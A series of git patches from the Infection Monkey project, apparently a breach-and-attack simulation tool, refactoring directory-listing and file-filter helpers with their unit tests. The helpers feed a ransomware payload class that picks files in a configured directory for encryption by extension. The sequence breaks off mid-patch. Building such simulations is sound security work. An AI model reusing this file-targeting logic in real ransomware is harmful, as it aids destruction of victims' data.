a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py new file mode 100644 index 00000000000..22b2ba0c96c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -0,0 +1,46 @@ +import os + +from infection_monkey.utils.dir_utils import get_all_files_in_directory + +FILE_1 = "file.jpg.zip" +FILE_2 = "file.xyz" +SUBDIR_1 = "subdir1" +SUBDIR_2 = "subdir2" + + +def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): + subdir1 = os.path.join(tmpdir, SUBDIR_1) + subdir2 = os.path.join(tmpdir, SUBDIR_2) + subdirs = [subdir1, subdir2] + + for subdir in subdirs: + os.mkdir(subdir) + + all_items_in_dir = subdirs + monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + + expected_return_value = [] + assert get_all_files_in_directory(tmpdir) == expected_return_value + + +def test_get_all_files_in_directory__has_files(tmpdir, monkeypatch): + subdir1 = os.path.join(tmpdir, SUBDIR_1) + subdir2 = os.path.join(tmpdir, SUBDIR_2) + subdirs = [subdir1, subdir2] + + file1 = os.path.join(tmpdir, FILE_1) + file2 = os.path.join(tmpdir, FILE_2) + files = [file1, file2] + + for subdir in subdirs: + os.mkdir(subdir) + + for file in files: + with open(file, "w") as _: + pass + + all_items_in_dir = subdirs + files + monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + + expected_return_value = files + assert get_all_files_in_directory(tmpdir) == expected_return_value From e2dfd6a5e3c7d0028985a990982fc040371c6b17 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 12:15:03 -0400 Subject: [PATCH 0844/1360] agent: Simplify get_all_files_in_directory() with list comprehension --- monkey/infection_monkey/utils/dir_utils.py | 8 +-- .../infection_monkey/utils/test_dir_utils.py | 50 +++++++++++-------- 2 files changed, 34 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 5562dd6ec20..62f592c5eac 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -1,8 +1,8 @@ -import os +from pathlib import Path from typing import List def get_all_files_in_directory(dir_path: str) -> List: - return list( - filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) - ) + path = Path(dir_path) + + return [str(f) for f in path.iterdir() if f.is_file()] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 22b2ba0c96c..7156662ba67 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,4 +1,5 @@ import os +from pathlib import Path from infection_monkey.utils.dir_utils import get_all_files_in_directory @@ -8,39 +9,48 @@ SUBDIR_2 = "subdir2" -def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): - subdir1 = os.path.join(tmpdir, SUBDIR_1) - subdir2 = os.path.join(tmpdir, SUBDIR_2) +def add_subdirs_to_dir(parent_dir): + subdir1 = os.path.join(parent_dir, SUBDIR_1) + subdir2 = os.path.join(parent_dir, SUBDIR_2) subdirs = [subdir1, subdir2] for subdir in subdirs: os.mkdir(subdir) - all_items_in_dir = subdirs - monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + return subdirs + + +def add_files_to_dir(parent_dir): + file1 = os.path.join(parent_dir, FILE_1) + file2 = os.path.join(parent_dir, FILE_2) + files = [file1, file2] + + for f in files: + Path(f).touch() + + return files + + +def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): + add_subdirs_to_dir(tmpdir) expected_return_value = [] assert get_all_files_in_directory(tmpdir) == expected_return_value def test_get_all_files_in_directory__has_files(tmpdir, monkeypatch): - subdir1 = os.path.join(tmpdir, SUBDIR_1) - subdir2 = os.path.join(tmpdir, SUBDIR_2) - subdirs = [subdir1, subdir2] + add_subdirs_to_dir(tmpdir) + files = add_files_to_dir(tmpdir) - file1 = os.path.join(tmpdir, FILE_1) - file2 = os.path.join(tmpdir, FILE_2) - files = [file1, file2] + expected_return_value = sorted(files) + assert sorted(get_all_files_in_directory(tmpdir)) == expected_return_value - for subdir in subdirs: - os.mkdir(subdir) - for file in files: - with open(file, "w") as _: - pass +def test_get_all_files_in_directory__subdir_has_files(tmpdir, monkeypatch): + subdirs = add_subdirs_to_dir(tmpdir) + add_files_to_dir(subdirs[0]) - all_items_in_dir = subdirs + files - monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + files = add_files_to_dir(tmpdir) - expected_return_value = files - assert get_all_files_in_directory(tmpdir) == expected_return_value + expected_return_value = sorted(files) + assert sorted(get_all_files_in_directory(tmpdir)) == expected_return_value From bfc86041abff595090f260a70d64bf046d1c5784 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 12:47:51 -0400 Subject: [PATCH 0845/1360] agent: Switch get_all_files_in_directory from str to Path Path and PurePath objects provide a lot of syntactic sugar to file handling that makes the code clearer and more concise. --- monkey/infection_monkey/utils/dir_utils.py | 6 +-- .../infection_monkey/utils/test_dir_utils.py | 37 +++++++++---------- 2 files changed, 19 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 62f592c5eac..4350a279d3d 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -2,7 +2,5 @@ from typing import List -def get_all_files_in_directory(dir_path: str) -> List: - path = Path(dir_path) - - return [str(f) for f in path.iterdir() if f.is_file()] +def get_all_files_in_directory(dir_path: Path) -> List[Path]: + return [f for f in dir_path.iterdir() if f.is_file()] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 7156662ba67..7369c5f4115 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,6 +1,3 @@ -import os -from pathlib import Path - from infection_monkey.utils.dir_utils import get_all_files_in_directory FILE_1 = "file.jpg.zip" @@ -10,47 +7,47 @@ def add_subdirs_to_dir(parent_dir): - subdir1 = os.path.join(parent_dir, SUBDIR_1) - subdir2 = os.path.join(parent_dir, SUBDIR_2) + subdir1 = parent_dir / SUBDIR_1 + subdir2 = parent_dir / SUBDIR_2 subdirs = [subdir1, subdir2] for subdir in subdirs: - os.mkdir(subdir) + subdir.mkdir() return subdirs def add_files_to_dir(parent_dir): - file1 = os.path.join(parent_dir, FILE_1) - file2 = os.path.join(parent_dir, FILE_2) + file1 = parent_dir / FILE_1 + file2 = parent_dir / FILE_2 files = [file1, file2] for f in files: - Path(f).touch() + f.touch() return files -def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): - add_subdirs_to_dir(tmpdir) +def test_get_all_files_in_directory__no_files(tmp_path, monkeypatch): + add_subdirs_to_dir(tmp_path) expected_return_value = [] - assert get_all_files_in_directory(tmpdir) == expected_return_value + assert get_all_files_in_directory(tmp_path) == expected_return_value -def test_get_all_files_in_directory__has_files(tmpdir, monkeypatch): - add_subdirs_to_dir(tmpdir) - files = add_files_to_dir(tmpdir) +def test_get_all_files_in_directory__has_files(tmp_path, monkeypatch): + add_subdirs_to_dir(tmp_path) + files = add_files_to_dir(tmp_path) expected_return_value = sorted(files) - assert sorted(get_all_files_in_directory(tmpdir)) == expected_return_value + assert sorted(get_all_files_in_directory(tmp_path)) == expected_return_value -def test_get_all_files_in_directory__subdir_has_files(tmpdir, monkeypatch): - subdirs = add_subdirs_to_dir(tmpdir) +def test_get_all_files_in_directory__subdir_has_files(tmp_path, monkeypatch): + subdirs = add_subdirs_to_dir(tmp_path) add_files_to_dir(subdirs[0]) - files = add_files_to_dir(tmpdir) + files = add_files_to_dir(tmp_path) expected_return_value = sorted(files) - assert sorted(get_all_files_in_directory(tmpdir)) == expected_return_value + assert sorted(get_all_files_in_directory(tmp_path)) == expected_return_value From cf2cdc4ab8b6a468886f56bd24ff205bd362a680 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:16:53 -0400 Subject: [PATCH 0846/1360] agent: Add filter_files() function to dir_utils --- monkey/infection_monkey/utils/dir_utils.py | 6 ++++- .../infection_monkey/utils/test_dir_utils.py | 24 ++++++++++++++++++- 2 files changed, 28 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 4350a279d3d..b64e4e13f04 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -1,6 +1,10 @@ from pathlib import Path -from typing import List +from typing import Callable, List def get_all_files_in_directory(dir_path: Path) -> List[Path]: return [f for f in dir_path.iterdir() if f.is_file()] + + +def filter_files(files: List[Path], file_filter: Callable[[Path], bool]): + return [f for f in files if file_filter(f)] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 7369c5f4115..604efc9cb07 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,4 +1,7 @@ -from infection_monkey.utils.dir_utils import get_all_files_in_directory +from infection_monkey.utils.dir_utils import ( + filter_files, + get_all_files_in_directory, +) FILE_1 = "file.jpg.zip" FILE_2 = "file.xyz" @@ -51,3 +54,22 @@ def test_get_all_files_in_directory__subdir_has_files(tmp_path, monkeypatch): expected_return_value = sorted(files) assert sorted(get_all_files_in_directory(tmp_path)) == expected_return_value + + +def test_filter_files__no_results(tmp_path): + add_files_to_dir(tmp_path) + + files_in_dir = get_all_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, lambda _: False) + + assert len(filtered_files) == 0 + + +def test_filter_files__all_true(tmp_path): + files = add_files_to_dir(tmp_path) + expected_return_value = sorted(files) + + files_in_dir = get_all_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, lambda _: True) + + assert sorted(filtered_files) == expected_return_value From 5c1902ca73433adbfdc1e7b6c75583f1330442a8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:17:11 -0400 Subject: [PATCH 0847/1360] agent: Add file_extension_filter to dir_utils --- monkey/infection_monkey/ransomware/utils.py | 20 +++++++++---------- monkey/infection_monkey/utils/dir_utils.py | 9 ++++++++- .../infection_monkey/utils/test_dir_utils.py | 12 +++++++++++ 3 files changed, 29 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py index 8ad1279c7b9..dde0ff973d7 100644 --- a/monkey/infection_monkey/ransomware/utils.py +++ b/monkey/infection_monkey/ransomware/utils.py @@ -1,16 +1,14 @@ -import os +from pathlib import Path from typing import List from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils.dir_utils import get_all_files_in_directory +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_files_in_directory, +) -def get_files_to_encrypt(dir_path: str) -> List[str]: - all_files = get_all_files_in_directory(dir_path) - - files_to_encrypt = [] - for file in all_files: - if os.path.splitext(file)[1] in VALID_FILE_EXTENSIONS_FOR_ENCRYPTION: - files_to_encrypt.append(file) - - return files_to_encrypt +def get_files_to_encrypt(dir_path: str) -> List[Path]: + all_files = get_all_files_in_directory(Path(dir_path)) + return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index b64e4e13f04..23b4408a96b 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -1,5 +1,5 @@ from pathlib import Path -from typing import Callable, List +from typing import Callable, List, Set def get_all_files_in_directory(dir_path: Path) -> List[Path]: @@ -8,3 +8,10 @@ def get_all_files_in_directory(dir_path: Path) -> List[Path]: def filter_files(files: List[Path], file_filter: Callable[[Path], bool]): return [f for f in files if file_filter(f)] + + +def file_extension_filter(file_extensions: Set): + def inner_filter(f: Path): + return f.suffix in file_extensions + + return inner_filter diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 604efc9cb07..ac8312bd8c8 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,4 +1,5 @@ from infection_monkey.utils.dir_utils import ( + file_extension_filter, filter_files, get_all_files_in_directory, ) @@ -73,3 +74,14 @@ def test_filter_files__all_true(tmp_path): filtered_files = filter_files(files_in_dir, lambda _: True) assert sorted(filtered_files) == expected_return_value + + +def test_file_extension_filter(tmp_path): + valid_extensions = {".zip", ".tar"} + + files = add_files_to_dir(tmp_path) + + files_in_dir = get_all_files_in_directory(tmp_path) + filtered_files = filter_files(files_in_dir, file_extension_filter(valid_extensions)) + + assert files[0:1] == filtered_files From 0b953c8cff6455a4d137795f59d7068409be311f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:23:14 -0400 Subject: [PATCH 0848/1360] agent: Remove ransomware/utils.py The code for getting files to encrypt has become so trivial that it no longer warrants a separate function outside of _find_files(). --- .../ransomware/ransomware_payload.py | 14 ++++-- monkey/infection_monkey/ransomware/utils.py | 14 ------ .../infection_monkey/ransomware/test_utils.py | 43 ------------------- 3 files changed, 11 insertions(+), 60 deletions(-) delete mode 100644 monkey/infection_monkey/ransomware/utils.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 779181992d7..a47e3ba187a 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,6 +1,12 @@ import logging - -from infection_monkey.ransomware.utils import get_files_to_encrypt +from pathlib import Path + +from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.utils.dir_utils import ( + file_extension_filter, + filter_files, + get_all_files_in_directory, +) from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -25,7 +31,9 @@ def _find_files(self): if is_windows_os() else self.config["linux_dir_ransom"] ) - return get_files_to_encrypt(dir_path) + + all_files = get_all_files_in_directory(Path(dir_path)) + return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)) def _encrypt_files(self, file_list): for file in file_list: diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py deleted file mode 100644 index dde0ff973d7..00000000000 --- a/monkey/infection_monkey/ransomware/utils.py +++ /dev/null @@ -1,14 +0,0 @@ -from pathlib import Path -from typing import List - -from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils.dir_utils import ( - file_extension_filter, - filter_files, - get_all_files_in_directory, -) - - -def get_files_to_encrypt(dir_path: str) -> List[Path]: - all_files = get_all_files_in_directory(Path(dir_path)) - return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py deleted file mode 100644 index 37a7f059de1..00000000000 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py +++ /dev/null @@ -1,43 +0,0 @@ -import infection_monkey.ransomware.utils - -VALID_FILE_EXTENSION_1 = "file.3ds" -VALID_FILE_EXTENSION_2 = "file.jpg.zip" -INVALID_FILE_EXTENSION_1 = "file.pqr" -INVALID_FILE_EXTENSION_2 = "file.xyz" -SUBDIR_1 = "subdir1" -SUBDIR_2 = "subdir2" - - -def test_get_files_to_encrypt__no_files(monkeypatch): - all_files = [] - monkeypatch.setattr( - "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files - ) - - expected_return_value = [] - assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value - - -def test_get_files_to_encrypt__no_valid_files(monkeypatch): - all_files = [INVALID_FILE_EXTENSION_1, INVALID_FILE_EXTENSION_2] - monkeypatch.setattr( - "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files - ) - - expected_return_value = [] - assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value - - -def test_get_files_to_encrypt__valid_files(monkeypatch): - all_files = [ - VALID_FILE_EXTENSION_1, - INVALID_FILE_EXTENSION_1, - VALID_FILE_EXTENSION_2, - INVALID_FILE_EXTENSION_2, - ] - monkeypatch.setattr( - "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files - ) - - expected_return_value = [VALID_FILE_EXTENSION_1, VALID_FILE_EXTENSION_2] - assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value From a8ebe6ae769d877b238340de0770f4b14e541dfb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:31:20 -0400 Subject: [PATCH 0849/1360] agent: Replace self.config with self.target_dir in RansomewarePayload --- .../ransomware/ransomware_payload.py | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a47e3ba187a..c09c35ab92a 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -14,25 +14,17 @@ class RansomewarePayload: def __init__(self, config: dict): - self.config = config + LOG.info(f"Windows dir configured for encryption is " f"{config['windows_dir']}") + LOG.info(f"Linux dir configured for encryption is " f"{config['linux_dir']}") - def run_payload(self): - LOG.info( - f"Windows dir configured for encryption is " f"{self.config['windows_dir_ransom']}" - ) - LOG.info(f"Linux dir configured for encryption is " f"{self.config['linux_dir_ransom']}") + self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"]) + def run_payload(self): file_list = self._find_files() self._encrypt_files(file_list) def _find_files(self): - dir_path = ( - self.config["windows_dir_ransom"] - if is_windows_os() - else self.config["linux_dir_ransom"] - ) - - all_files = get_all_files_in_directory(Path(dir_path)) + all_files = get_all_files_in_directory(self.target_dir) return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)) def _encrypt_files(self, file_list): From db8dfd9f179cd0fcdd7d4aedfab698e79a53b5eb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:43:27 -0400 Subject: [PATCH 0850/1360] agent: Refactor filter_files to accept a list of filters --- .../ransomware/ransomware_payload.py | 4 +++- monkey/infection_monkey/utils/dir_utils.py | 8 ++++++-- .../infection_monkey/utils/test_dir_utils.py | 17 +++++++---------- 3 files changed, 16 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index c09c35ab92a..e89dc262575 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -24,8 +24,10 @@ def run_payload(self): self._encrypt_files(file_list) def _find_files(self): + file_filters = [file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)] + all_files = get_all_files_in_directory(self.target_dir) - return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)) + return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): for file in file_list: diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 23b4408a96b..2a7797a7b60 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -6,8 +6,12 @@ def get_all_files_in_directory(dir_path: Path) -> List[Path]: return [f for f in dir_path.iterdir() if f.is_file()] -def filter_files(files: List[Path], file_filter: Callable[[Path], bool]): - return [f for f in files if file_filter(f)] +def filter_files(files: List[Path], file_filters: List[Callable[[Path], bool]]): + filtered_files = files + for file_filter in file_filters: + filtered_files = [f for f in filtered_files if file_filter(f)] + + return filtered_files def file_extension_filter(file_extensions: Set): diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index ac8312bd8c8..4657155c026 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -4,8 +4,7 @@ get_all_files_in_directory, ) -FILE_1 = "file.jpg.zip" -FILE_2 = "file.xyz" +FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz"] SUBDIR_1 = "subdir1" SUBDIR_2 = "subdir2" @@ -22,9 +21,7 @@ def add_subdirs_to_dir(parent_dir): def add_files_to_dir(parent_dir): - file1 = parent_dir / FILE_1 - file2 = parent_dir / FILE_2 - files = [file1, file2] + files = [parent_dir / f for f in FILES] for f in files: f.touch() @@ -61,7 +58,7 @@ def test_filter_files__no_results(tmp_path): add_files_to_dir(tmp_path) files_in_dir = get_all_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, lambda _: False) + filtered_files = filter_files(files_in_dir, [lambda _: False]) assert len(filtered_files) == 0 @@ -71,17 +68,17 @@ def test_filter_files__all_true(tmp_path): expected_return_value = sorted(files) files_in_dir = get_all_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, lambda _: True) + filtered_files = filter_files(files_in_dir, [lambda _: True]) assert sorted(filtered_files) == expected_return_value def test_file_extension_filter(tmp_path): - valid_extensions = {".zip", ".tar"} + valid_extensions = {".zip", ".xyz"} files = add_files_to_dir(tmp_path) files_in_dir = get_all_files_in_directory(tmp_path) - filtered_files = filter_files(files_in_dir, file_extension_filter(valid_extensions)) + filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)]) - assert files[0:1] == filtered_files + assert sorted(files[0:2]) == sorted(filtered_files) From f33772060fbb5f004158b12576c27eb12314bc8b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:46:03 -0400 Subject: [PATCH 0851/1360] agent: Rename get_all_files_in_directory() Rename get_all_files_in_directory() -> get_all_regular_files_in_directory(), as this name is more explicit about exactly which files will be included in the function's output. --- .../ransomware/ransomware_payload.py | 4 ++-- monkey/infection_monkey/utils/dir_utils.py | 2 +- .../infection_monkey/utils/test_dir_utils.py | 20 +++++++++---------- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index e89dc262575..d6a36ab5be4 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -5,7 +5,7 @@ from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, - get_all_files_in_directory, + get_all_regular_files_in_directory, ) from infection_monkey.utils.environment import is_windows_os @@ -26,7 +26,7 @@ def run_payload(self): def _find_files(self): file_filters = [file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION)] - all_files = get_all_files_in_directory(self.target_dir) + all_files = get_all_regular_files_in_directory(self.target_dir) return filter_files(all_files, file_filters) def _encrypt_files(self, file_list): diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 2a7797a7b60..8b026d36d4b 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -2,7 +2,7 @@ from typing import Callable, List, Set -def get_all_files_in_directory(dir_path: Path) -> List[Path]: +def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: return [f for f in dir_path.iterdir() if f.is_file()] diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index 4657155c026..d2f30a311f7 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -1,7 +1,7 @@ from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, - get_all_files_in_directory, + get_all_regular_files_in_directory, ) FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz"] @@ -29,35 +29,35 @@ def add_files_to_dir(parent_dir): return files -def test_get_all_files_in_directory__no_files(tmp_path, monkeypatch): +def test_get_all_regular_files_in_directory__no_files(tmp_path, monkeypatch): add_subdirs_to_dir(tmp_path) expected_return_value = [] - assert get_all_files_in_directory(tmp_path) == expected_return_value + assert get_all_regular_files_in_directory(tmp_path) == expected_return_value -def test_get_all_files_in_directory__has_files(tmp_path, monkeypatch): +def test_get_all_regular_files_in_directory__has_files(tmp_path, monkeypatch): add_subdirs_to_dir(tmp_path) files = add_files_to_dir(tmp_path) expected_return_value = sorted(files) - assert sorted(get_all_files_in_directory(tmp_path)) == expected_return_value + assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value -def test_get_all_files_in_directory__subdir_has_files(tmp_path, monkeypatch): +def test_get_all_regular_files_in_directory__subdir_has_files(tmp_path, monkeypatch): subdirs = add_subdirs_to_dir(tmp_path) add_files_to_dir(subdirs[0]) files = add_files_to_dir(tmp_path) expected_return_value = sorted(files) - assert sorted(get_all_files_in_directory(tmp_path)) == expected_return_value + assert sorted(get_all_regular_files_in_directory(tmp_path)) == expected_return_value def test_filter_files__no_results(tmp_path): add_files_to_dir(tmp_path) - files_in_dir = get_all_files_in_directory(tmp_path) + files_in_dir = get_all_regular_files_in_directory(tmp_path) filtered_files = filter_files(files_in_dir, [lambda _: False]) assert len(filtered_files) == 0 @@ -67,7 +67,7 @@ def test_filter_files__all_true(tmp_path): files = add_files_to_dir(tmp_path) expected_return_value = sorted(files) - files_in_dir = get_all_files_in_directory(tmp_path) + files_in_dir = get_all_regular_files_in_directory(tmp_path) filtered_files = filter_files(files_in_dir, [lambda _: True]) assert sorted(filtered_files) == expected_return_value @@ -78,7 +78,7 @@ def test_file_extension_filter(tmp_path): files = add_files_to_dir(tmp_path) - files_in_dir = get_all_files_in_directory(tmp_path) + files_in_dir = get_all_regular_files_in_directory(tmp_path) filtered_files = filter_files(files_in_dir, [file_extension_filter(valid_extensions)]) assert sorted(files[0:2]) == sorted(filtered_files) From b643cd1edd1c168d92aba0016b7a46498f820ac0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 13:48:59 -0400 Subject: [PATCH 0852/1360] agent: Reimplement get_all_regular_files_in_directory using filter_files --- monkey/infection_monkey/utils/dir_utils.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py index 8b026d36d4b..3cc839d0ef7 100644 --- a/monkey/infection_monkey/utils/dir_utils.py +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -1,12 +1,12 @@ from pathlib import Path -from typing import Callable, List, Set +from typing import Callable, Iterable, List, Set def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: - return [f for f in dir_path.iterdir() if f.is_file()] + return filter_files(dir_path.iterdir(), [lambda f: f.is_file()]) -def filter_files(files: List[Path], file_filters: List[Callable[[Path], bool]]): +def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]): filtered_files = files for file_filter in file_filters: filtered_files = [f for f in filtered_files if file_filter(f)] From 30f88ca319124baa10528768463752e3dd15b720 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 14:07:31 -0400 Subject: [PATCH 0853/1360] agent: Refactor add_subdirs_to_dir in test_dir_utils.py --- .../unit_tests/infection_monkey/utils/test_dir_utils.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py index d2f30a311f7..1b193fc3ea2 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py @@ -5,14 +5,11 @@ ) FILES = ["file.jpg.zip", "file.xyz", "1.tar", "2.tgz"] -SUBDIR_1 = "subdir1" -SUBDIR_2 = "subdir2" +SUBDIRS = ["subdir1", "subdir2"] def add_subdirs_to_dir(parent_dir): - subdir1 = parent_dir / SUBDIR_1 - subdir2 = parent_dir / SUBDIR_2 - subdirs = [subdir1, subdir2] + subdirs = [parent_dir / s for s in SUBDIRS] for subdir in subdirs: subdir.mkdir() From bfa640444e09f53cfc0d1042f0e562cab8064b0f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 15:11:32 -0400 Subject: [PATCH 0854/1360] agent: Test filter_files() with multiple filters --- .../infection_monkey/utils/test_dir_utils.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py 